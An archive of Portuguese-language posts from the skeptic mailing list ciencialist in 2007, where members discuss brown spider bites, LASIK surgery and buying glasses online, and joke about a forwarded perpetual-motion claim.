- Assistência Mundial! <http://www.ceticismoaberto.com/news/?p=763>É
um pássaro? É um avião? Não! O maior h...
- Sombra impossível? <http://www.ceticismoaberto.com/news/?p=856> Olhe
bem para a inocente imagem acima. Apenas um belo dia jogando frisbee ...
- 90 anos, Gafanhoto
<http://www.ceticismoaberto.com/news/?p=670>Clique no link acima para
assistir à demonstração da ...
- Um zoom na (ex-)Face em
Marte<http://www.ceticismoaberto.com/news/?p=832>Clique na imagem
acima para ver uma animação fenomenal criad...
- Monumento a Tesla
inaugurado<http://www.ceticismoaberto.com/news/?p=776>O
monumento honrando Nikola Tesla, inventor do sistema de geraç&atil...

Postado em Miscelânea <http://www.ceticismoaberto.com/news/?cat=13>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=1001#respond>


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SUBJECT: O ataque da aranha marrom
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 10:52

Curitiba, como se sabe, é a capital nacional da aranha marrom. Ao procurar
informações sobre o assunto, encontrei a página
http://www.evangelicosaude.com.br/publicador/site/noticia.asp?ncod=59, que
vem acompanhada de algumas fotos realmente impressionantes
(http://www.evangelicosaude.com.br/publicador/site/album.asp?codnot=59&codmmd=0).
Como sou leigo no assunto, surgem algumas perguntas: (a) é possível que uma
picada de aranha marrom evolua dessa forma?; (b) por que a vítima não tomou
providências antes? Imagino que haja uma resposta para a primeira pergunta.
Se alguém conhecê-la, agradeço.

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



SUBJECT: RE: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 11:02

Oi!
Cara pelo que vc escreveu aqui, a cirurgia não é definitiva?
Abraço

Ivan Carlos <icarlos@icarlos.net> escreveu:
Discordo sobre o comentário da cirurgia, conheço diversos casos onde o grau foi zerado em ambos os olhos e se manteve estável pelos 4 anos.

Mesmo meu caso q não ficou 101% devido a uma anomalia q me enquadrava com astigmatismo muito forte, o mínimo de grau que restou não me faz necessário usar óculos em qualquer situação

[]'s

Ivan Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666

-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Kentaro Mori
Sent: Monday, September 24, 2007 11:16 AM
To: ciencialist@yahoogrupos.com.br
Subject: Re: [ciencialist] Lentes de òculos - Cirurgia de correção

Os óculos que uso (de vez em quando) agora eu comprei pela internet de
uma companhia em Hong Kong, e fiquei BEM satisfeito com a relação
custo/benefício. Comentei no meu blog:
http://100nexos.com/arquivo/145

Os maiores inconvenientes são não poder experimentar antes de pagar
(online...), a necessidade de ter um cartão de crédito, e aqui no
Brasil, a alfândega reclamar. Também é preciso entender inglês. Mas
pode valer a pena. O que as óticas por aqui cobram é absurdo; duas,
três, quatro vezes o preço de custo. Se vc já se perguntou por q há
tantas óticas por aqui, esta é uma das respostas.

Cirurgias corretivas, de todo mundo que já conheci e fez, todos
estavam satisfeitos. Mas ela quase nunca corrigirá perfeitamente, e
mesmo que o faça, com o tempo a miopia/hipermetropia/astimgatismo
podem voltar, ainda que sutilmente. Ainda será preciso usar óculos,
ainda que leves. Por isso só recomendam para graus bem altos mesmo.

[]

Mori

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SUBJECT: RE: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 11:07

A idéia é que a cirurgia seja definitiva sim, me referi usando " se manteve estável pelos 4 anos" que seria referente a cirurgia destes indivíduos terem sido feitas a 4 anos atrás e continua 100%, rebatendo a informação do Sr. Kentaro Mori que informou que a cirurgia poderia voltar.


Ivan Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
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-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Michel Moccelin Viccari
Sent: Wednesday, September 26, 2007 11:03 AM
To: ciencialist@yahoogrupos.com.br
Subject: RE: [ciencialist] Lentes de òculos - Cirurgia de correção

Oi!
Cara pelo que vc escreveu aqui, a cirurgia não é definitiva?
Abraço

Ivan Carlos <icarlos@icarlos.net> escreveu:
Discordo sobre o comentário da cirurgia, conheço diversos casos onde o grau foi zerado em ambos os olhos e se manteve estável pelos 4 anos.

Mesmo meu caso q não ficou 101% devido a uma anomalia q me enquadrava com astigmatismo muito forte, o mínimo de grau que restou não me faz necessário usar óculos em qualquer situação

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Ivan Carlos - CIO / Social Eng. Specialist
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-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Kentaro Mori
Sent: Monday, September 24, 2007 11:16 AM
To: ciencialist@yahoogrupos.com.br
Subject: Re: [ciencialist] Lentes de òculos - Cirurgia de correção

Os óculos que uso (de vez em quando) agora eu comprei pela internet de
uma companhia em Hong Kong, e fiquei BEM satisfeito com a relação
custo/benefício. Comentei no meu blog:
http://100nexos.com/arquivo/145

Os maiores inconvenientes são não poder experimentar antes de pagar
(online...), a necessidade de ter um cartão de crédito, e aqui no
Brasil, a alfândega reclamar. Também é preciso entender inglês. Mas
pode valer a pena. O que as óticas por aqui cobram é absurdo; duas,
três, quatro vezes o preço de custo. Se vc já se perguntou por q há
tantas óticas por aqui, esta é uma das respostas.

Cirurgias corretivas, de todo mundo que já conheci e fez, todos
estavam satisfeitos. Mas ela quase nunca corrigirá perfeitamente, e
mesmo que o faça, com o tempo a miopia/hipermetropia/astimgatismo
podem voltar, ainda que sutilmente. Ainda será preciso usar óculos,
ainda que leves. Por isso só recomendam para graus bem altos mesmo.

[]

Mori

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SUBJECT: Re: O ataque da aranha marrom
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 11:26

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Curitiba, como se sabe, é a capital nacional da aranha marrom. Ao
procurar
> informações sobre o assunto, encontrei a página

Eu não sei as respostas para a tua pergunta, mas tenho um relato a
fazer, é de segunda mão. A minha irmã trabalha como pastora na IECLB
de Lapa, a 60km de Curitiba, mais ou menos. Ela teve um episódio de
picada de aranha, o aracnídeo estava oculto dentro da calça dela, e
quando ela vestiu, sentiu uma dor, como se alguém tivesse cutucado ela
com um palito de dentes, na nádega. Ela não deu bola e foi cuidar de
seus compromissos, mas começou a passar mal. A sorte dela foi que uma
pessoa que conhecia os efeitos da picada da aranha notou que ela
estava passando mal e fez ela pedir socorro imediatamente. Há em Lapa
(ou havia) um médico cubano (não recordo o nome agora) que foi quem
deu os primeiros socorros para ela, e ficou tratando da picada depois,
e ele utilizou uma técnica bastante heterodoxa para evitar a evolução
da picada, que geralmente é contida com antibióticos bem fortes. Ele
utilizou gelo. A explicação que ele deu para ela foi que o frio fazia
com que as bactérias entrassem em "hibernação", facilitando o serviço
para o sistema imunológico. Ela conseguiu recuperar-se completamente e
sem nenhuma cicatriz, exceto uma leve e saudável aracnofobia (nenhuma
aranha que fique à vista escapa de uma chinelada). Além disso, ela
agora é muito mais cuidadosa antes de vestir uma roupa ou calçado,
primeiro fazendo um exame cuidadoso. O mesmo para toalhas de banho e
de rosto.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 11:34

Cabe consultar um oftalmologista que também seja um cirurgião e faça a operação.

Se vc entender inglês, veja:
http://www.usaeyes.org/faq/subjects/odds.htm
"To be a USAEyes Certified Lasik Doctor, a doctor must demonstrate
that 90% of his/her patients achieve 20/40 or better and 65% achieve
20/20 or better with limited complication rates."

[]

Mori

On 9/26/07, Ivan Carlos <icarlos@icarlos.net> wrote:
> A idéia é que a cirurgia seja definitiva sim, me referi usando " se manteve estável pelos 4 anos" que seria referente a cirurgia destes indivíduos terem sido feitas a 4 anos atrás e continua 100%, rebatendo a informação do Sr. Kentaro Mori que informou que a cirurgia poderia voltar.
>
> Ivan Carlos - CIO / Social Eng. Specialist
> E-mail / Skype / WLM: icarlos@icarlos.net
> Cell.: +55 (11) 8112-0666
>
> -----Original Message-----
> From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Michel Moccelin Viccari
> Sent: Wednesday, September 26, 2007 11:03 AM
> To: ciencialist@yahoogrupos.com.br
>
> Subject: RE: [ciencialist] Lentes de òculos - Cirurgia de correção
>
> Oi!
> Cara pelo que vc escreveu aqui, a cirurgia não é definitiva?
> Abraço
>
> Ivan Carlos <icarlos@icarlos.net> escreveu:
> Discordo sobre o comentário da cirurgia, conheço diversos casos onde o grau foi zerado em ambos os olhos e se manteve estável pelos 4 anos.
>
> Mesmo meu caso q não ficou 101% devido a uma anomalia q me enquadrava com astigmatismo muito forte, o mínimo de grau que restou não me faz necessário usar óculos em qualquer situação
>
> []'s
>
> Ivan Carlos - CIO / Social Eng. Specialist
> E-mail / Skype / WLM: icarlos@icarlos.net
> Cell.: +55 (11) 8112-0666
>
> -----Original Message-----
> From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Kentaro Mori
> Sent: Monday, September 24, 2007 11:16 AM
> To: ciencialist@yahoogrupos.com.br
> Subject: Re: [ciencialist] Lentes de òculos - Cirurgia de correção
>
> Os óculos que uso (de vez em quando) agora eu comprei pela internet de
> uma companhia em Hong Kong, e fiquei BEM satisfeito com a relação
> custo/benefício. Comentei no meu blog:
> http://100nexos.com/arquivo/145
>
> Os maiores inconvenientes são não poder experimentar antes de pagar
> (online...), a necessidade de ter um cartão de crédito, e aqui no
> Brasil, a alfândega reclamar. Também é preciso entender inglês. Mas
> pode valer a pena. O que as óticas por aqui cobram é absurdo; duas,
> três, quatro vezes o preço de custo. Se vc já se perguntou por q há
> tantas óticas por aqui, esta é uma das respostas.
>
> Cirurgias corretivas, de todo mundo que já conheci e fez, todos
> estavam satisfeitos. Mas ela quase nunca corrigirá perfeitamente, e
> mesmo que o faça, com o tempo a miopia/hipermetropia/astimgatismo
> podem voltar, ainda que sutilmente. Ainda será preciso usar óculos,
> ainda que leves. Por isso só recomendam para graus bem altos mesmo.
>
> []
>
> Mori
>
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> Flickr agora em português. Você clica, todo mundo vê. Saiba mais.
>
> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] O ataque da aranha marrom
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 11:58

Alvaro,

Quanto a primeira pergunta, sim, sem tratamento sorológico é possível que a necrose se desenvolva como as fotos apresentadas. http://www.butantan.gov.br/materialdidatico/numero9/numero09.pdf

Quanto a segunda, relato uma historieta: uma menina que trabalha no escritório de minha esposa recebeu uma picada, e apesar do vermelhidão no local e de um pequeno inchaço de pouca dor, não achou conveniente ir ao médico. Quando formou-se o edema, de coloração roxa para preto (início da necrose do tecido ao redor da picada), é que foi ao médico, já apresentando um quadro característico do envenamento no aspecto cutâneo. Até este ponto, não tinha completado 24 horas, e a decisão de ir ao médico foi impulsionado mais pela necrose do que pela dor. Penso que alguns devem se comportar assim como ela e, quando são tratados por soro, há um tempo de resposta entre o veneno, o soro e o organismo; tempo este, na minha opinião, o suficiente para que a necrose se desenvolva no nível das fotos.

Sandro Silva

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Moto Continuo, Energia limpa para todos!!
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 12:02

Mais um candidato ao "Prêmio Takata"!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: fernando isamu
To: alvaro@lunabay.com.br
Sent: Wednesday, September 26, 2007 10:44 AM
Subject: Moto Continuo, Energia limpa para todos!!


Olá, meu nome é Fernando, sou Português e estou actualmente no Brasil mais propriamente no Paraná passando uns dias com amigos.

Ontem pesquisando pela web li uns interessantes artigos relacionados com moto continuo, comentados pelo Sr:Professor, Hengenheiro, Alvaro Augusto de Almeida, e que me fez tomar a decisao de dar a conhecer que moto continuo ou perpétuo eu já construi á mais de 3 anos, e na altura nao divulguei pelo facto de ninguem acreditar no invento que aconteceu por mero acaso.

O sistema *moto continuo* é muito simples, transforma toda a energia gravitacional, (relaçao peso gravidade)em energia mecanica que por sua vez atravez de um gerador pode transformar em energia electrica. Informo que este moto continuo trabalha por si só e nao necessita de nenhuma energia gerada por ele mesmo,nem de qualquer outra fonte energetica, quero dizer que a força mecanica*energia*pode ser totalmente aproveitada! um exemplo, imagine a força de uma esféra com uma tonelada de peso caindo de uma altura de 3 metros! pois é essa força que é transformada 100% em força mecanica! e isso continuamente sem parár. Este moto continuo é muito simples de construir e economicamente viável por estar muitas vezes abaixo do custo de construçao de outros sistemas com o mesmo potencial, e além disso é energia limpa..



Fernando.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Moto Continuo, Energia limpa para todos!!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 13:43

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Mais um candidato ao "Prêmio Takata"!

Se esse Takata for eu, informo q *não* distribuo nenhum prêmio para
motos-perpétuos. O q eu posso fazer sim é *emprestar* capital para
empreendedores q queiram construir motos-perpétuos.

Se o moto-perpétuo funcionar (conforme estabelecido em contrato), o
devedor precisa apenas pagar, em suaves prestações, o montante
principal. Juros e correções monetárias não serão cobrados.

Se o moto-perpétuo não funcionar, o devedor deve pagar não apenas o
montante principal como correções monetárias e juros equivalentes a
*quatro* vezes o do mercado (na modalidade mais alta).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O ataque da aranha marrom
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 13:54

Olá Alvaro.

Até este ponto, não tinha completado 24 horas, e a decisão de ir ao
médico foi impulsionado mais pela necrose do que pela dor.

Mauro: Com meu amigo foram menos de 24 horas entre a picada e ele por
pouco não perder dois dedos do seu pé. Seus parentes acharam que era
desnecessário ir procurar ajuda já que a mordida tinha sido em uma
extremidade do seu corpo (vá saber lá porque). Os médicos achavam que
era necessária amputação já que a necrose era nítida, mas como última
tentativa o internaram medicando com doses fortíssimas de antibiótico.
Eu o acompanhei até o hospital e a ferida me parecia pior do que
aquela de seis dias
(http://www.evangelicosaude.com.br/publicador/site/album.asp?codnot=59&codmmd=0).
Por sorte sobrou-lhe somente uma bela cicatriz.

Eu resolvi o problema das aranhas marrons durante alguns anos trazendo
algumas lagartixas do litoral e soltando-as no meu sótão. Agora não as
vejo mais (as lagartixas) e já andei dando algumas chineladas por aí.

Em tempo: Como paliativo o
http://www.jimo.com.br/produto_detalhe.asp?produto=03_05&idioma=br
funciona, e você encontrará um bocado de aranhas mortas em sua casa,
mas não todas...

Inté+
Mauro



SUBJECT: Re: [ciencialist] Re: Fw: Moto Continuo, Energia limpa para todos!!
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 13:58

OK. Posso chamar então de "Desafio Takata"?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, September 26, 2007 1:43 PM
Subject: [ciencialist] Re: Fw: Moto Continuo, Energia limpa para todos!!


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Mais um candidato ao "Prêmio Takata"!

Se esse Takata for eu, informo q *não* distribuo nenhum prêmio para
motos-perpétuos. O q eu posso fazer sim é *emprestar* capital para
empreendedores q queiram construir motos-perpétuos.

Se o moto-perpétuo funcionar (conforme estabelecido em contrato), o
devedor precisa apenas pagar, em suaves prestações, o montante
principal. Juros e correções monetárias não serão cobrados.

Se o moto-perpétuo não funcionar, o devedor deve pagar não apenas o
montante principal como correções monetárias e juros equivalentes a
*quatro* vezes o do mercado (na modalidade mais alta).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Fw: Moto Continuo, Energia limpa para todos!!
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 14:14

Isso deve render mais que bolsa de valores ou qualquer fundo.
Também quero contribuir, se o projeto funcionar, sentirei o prazer de doar
meu dinheiro para o sucessor de Da Vinci ou Einstein.

[]s

Emanuel Valente.

On 9/26/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Alvaro Augusto \(L\)"
> > Mais um candidato ao "Prêmio Takata"!
>
> Se esse Takata for eu, informo q *não* distribuo nenhum prêmio para
> motos-perpétuos. O q eu posso fazer sim é *emprestar* capital para
> empreendedores q queiram construir motos-perpétuos.
>
> Se o moto-perpétuo funcionar (conforme estabelecido em contrato), o
> devedor precisa apenas pagar, em suaves prestações, o montante
> principal. Juros e correções monetárias não serão cobrados.
>
> Se o moto-perpétuo não funcionar, o devedor deve pagar não apenas o
> montante principal como correções monetárias e juros equivalentes a
> *quatro* vezes o do mercado (na modalidade mais alta).
>
> []s,
>
> Roberto Takata
>
>
>


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SUBJECT: Re: [ciencialist] Re: Fw: Moto Continuo, Energia limpa para todos!!
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 15:32

Olá pessoal

"To nessa"..:-) Se é para ser o novo magnata dos moteres perpétuas, e ganhar uma grana braba com a crise do petroleo (sem falar no aquecimento global), eu também quero contribuir..:-)

Mas o que sempre me espanta nesse inventores de moto perpétuos é como desistem rápido, quando estão próximos a revolucionar o planeta, como demonstra este participante:

Fernando: "..e que me fez tomar a decisao de dar a conhecer que moto continuo ou perpétuo eu já construi á mais de 3 anos, e na altura nao divulguei pelo facto de ninguem acreditar no invento que aconteceu por mero acaso."

Como assim, ninguém vai acreditar????!!??! Se ele construiu um moto perpétuo, basta mostrar o aparelho, não é preciso "acreditar"..:-) É como alegar "bem, eu capturei e matei um Pé Grande, mas resolvi jogar o corpo fora, pois ninguém iria acreditar em mim"..:-)

Fala sério..:-)

As vésperas de revolucionar o planeta e a produção de energia, e de lambuja salvar o mundo do aquecimento global, o cara desiste e não divulga porque "ninguém vai acreditar em mim"..:-)

Assim não dá, assim não é possível..:-)

Um abraço.

Homero




----- Original Message -----
From: Emanuel Valente
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, September 26, 2007 2:14 PM
Subject: Re: [ciencialist] Re: Fw: Moto Continuo, Energia limpa para todos!!


Isso deve render mais que bolsa de valores ou qualquer fundo.
Também quero contribuir, se o projeto funcionar, sentirei o prazer de doar
meu dinheiro para o sucessor de Da Vinci ou Einstein.

[]s

Emanuel Valente.

On 9/26/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Alvaro Augusto \(L\)"
> > Mais um candidato ao "Prêmio Takata"!
>
> Se esse Takata for eu, informo q *não* distribuo nenhum prêmio para
> motos-perpétuos. O q eu posso fazer sim é *emprestar* capital para
> empreendedores q queiram construir motos-perpétuos.
>
> Se o moto-perpétuo funcionar (conforme estabelecido em contrato), o
> devedor precisa apenas pagar, em suaves prestações, o montante
> principal. Juros e correções monetárias não serão cobrados.
>
> Se o moto-perpétuo não funcionar, o devedor deve pagar não apenas o
> montante principal como correções monetárias e juros equivalentes a
> *quatro* vezes o do mercado (na modalidade mais alta).
>
> []s,
>
> Roberto Takata
>
>
>

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